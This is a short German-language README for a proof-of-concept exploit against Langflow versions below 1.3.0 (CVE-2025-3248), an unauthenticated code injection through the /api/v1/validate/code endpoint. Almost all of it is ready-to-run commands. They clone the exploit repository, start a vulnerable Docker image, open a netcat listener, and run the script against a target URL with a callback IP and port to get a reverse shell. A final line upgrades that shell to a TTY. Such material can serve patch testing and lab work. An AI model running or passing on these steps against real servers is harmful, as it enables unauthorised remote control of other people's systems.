
PoC zur Erzielung von RCE in Langflow-Versionen <1.3.0
Langflow-Versionen vor 1.3.0 sind anfällig für nicht authentifizierte Code-Injection im Endpunkt /api/v1/validate/code über die Python-Funktion exec(). Dieser Exploit stellt eine Reverse-Shell-Verbindung her, die diese Schwachstelle ausnutzt.
git clone https://github.com/wand3rlust/CVE-2025-3248.git
cd CVE-2025-3248/
python3 -m venv venv
. venv/bin/activate
pip install -r requirements.txt
docker pull langflowai/langflow:1.1.4
docker run -p 7860:7860 langflowai/langflow:1.1.4
# Terminal 1
nc -nvlp <C2_PORT>
# Terminal 2
python3 cve-2025-3248.py <TARGET_URL> <C2_IP> <C2_PORT>
z. B.: python3 cve-2025-3248.py http://10.10.10.1:7860 10.0.13.37 1337
HINWEIS: Um die Shell zu einer TTY aufzuwerten, führen Sie nach dem Erhalt der Shell den folgenden Befehl aus.
python -c 'import pty; pty.spawn("/bin/bash")'
